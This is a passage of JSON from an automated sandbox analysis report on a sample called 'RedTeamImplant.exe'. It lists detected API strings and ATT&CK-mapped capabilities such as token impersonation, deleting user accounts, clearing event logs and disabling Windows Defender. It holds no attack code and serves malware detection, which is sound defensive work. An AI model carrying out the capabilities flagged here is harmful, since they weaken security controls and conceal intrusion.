\"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetUserName\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LookupAccountSid\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetGetJoinInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetUserName\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LookupAccountSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTokenInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1033","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1033","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Destruction","identifier":"string-649","type":2,"relevance":1,"name":"Able to clear Windows event logs","description":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Destruction","identifier":"string-216","type":2,"relevance":1,"name":"Contains ability to delete a user account from a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NetUserDel\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetUserDel\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserDel\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1531","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1531","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-230","type":2,"relevance":1,"name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry deletion API: \"RegDeleteKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","description_v2":["Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"RedTeamImplant.exe\"","Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"RedTeamImplant.exe\"","Found registry deletion API: \"RegDeleteKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry deletion API: \"RegDeleteValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""],"description_v3":[{"type":"text","value":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry deletion API: \"RegDeleteKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry deletion API: \"RegDeleteValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-729","type":2,"relevance":1,"name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1489","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1489","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-474","type":2,"relevance":1,"name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00007844-00000BC0-1863078109\")\n Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")\n Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")","description_v2":["Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00007844-00000BC0-1863078109\")","Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")","Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00007844-00000BC0-1863078109\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"DriverData=%WINDIR%\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007844.00000001.185683.99570000.00000004.mdmp, 00000000-00007844.00000002.187602.00100000.00000004.mdmp, 00000000-00007844.00000002.187602.99570000.00000004.mdmp, 00000000-00007844.00000003.195034.99560000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-168","type":2,"relevance":1,"name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1134.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-408","type":2,"relevance":1,"name":"Contains ability to delete files","description":"$53","description_v2":["$54","$55","$56","$57","$58"],"description_v3":[{"type":"text","value":"$59"},{"type":"linebreak"},{"type":"text","value":"$5a"},{"type":"linebreak"},{"type":"text","value":"$5b"},{"type":"linebreak"},{"type":"text","value":"$5c"},{"type":"linebreak"},{"type":"text","value":"$5d"}],"origin":"File/Memory","attck_id":"T1070.004","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/004","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-308","type":2,"relevance":1,"name":"Contains ability to delete files/directories (API string)","description":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"RemoveDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"RemoveDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"RemoveDirectory\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.004","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/004","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-748","type":2,"relevance":1,"name":"Contains ability to disable Windows Defender using PowerShell","description":"file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-275","type":2,"relevance":1,"name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-77","type":2,"relevance":1,"name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1134","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-426","type":2,"relevance":1,"name":"Contains ability to modify file attributes (API string)","description":"$5e","description_v2":["file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"SetInformationFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NtSetInformationFile\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"SetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"SetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"SetInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NtSetInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"SetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"SetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1222","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1222","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-402","type":2,"relevance":1,"name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-114","type":2,"relevance":1,"name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5f","description_v2":["file/memory contains long string with (Indicator: \"CopySid\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"IsValidSid\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"RevertToSelf\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetLengthSid\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ImpersonateSelf\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"DuplicateToken\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"DuplicateTokenEx\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSidSubAuthority\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"SetTokenInformation\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSidSubAuthorityCount\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSidIdentifierAuthority\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"IsValidSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetLengthSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"ImpersonateSelf\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"DuplicateToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"DuplicateTokenEx\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetSidSubAuthority\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetTokenInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"GetSidIdentifierAuthority\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CopySid\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"IsValidSid\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"RevertToSelf\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetLengthSid\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ImpersonateSelf\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"DuplicateToken\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"DuplicateTokenEx\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSidSubAuthority\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"SetTokenInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSidSubAuthorityCount\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSidIdentifierAuthority\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"IsValidSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetLengthSid\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ImpersonateSelf\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"DuplicateToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"DuplicateTokenEx\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSidSubAuthority\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTokenInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSidIdentifierAuthority\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-406","type":2,"relevance":1,"name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: RedTeamImplant.exe\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp","description_v2":["Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: RedTeamImplant.exe","Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"],"description_v3":[{"type":"text","value":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: RedTeamImplant.exe"},{"type":"linebreak"},{"type":"text","value":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"}],"origin":"File/Memory","attck_id":"T1529","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1529","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-522","type":2,"relevance":1,"name":"Contains ability to stop windows services","description":"file/memory contains long string with (Indicator: \"net stop\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"net stop\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"net stop\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"net stop\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"net stop\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"net stop\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1489","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1489","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-316","type":2,"relevance":1,"name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1489","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1489","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-535","type":2,"relevance":0,"name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: 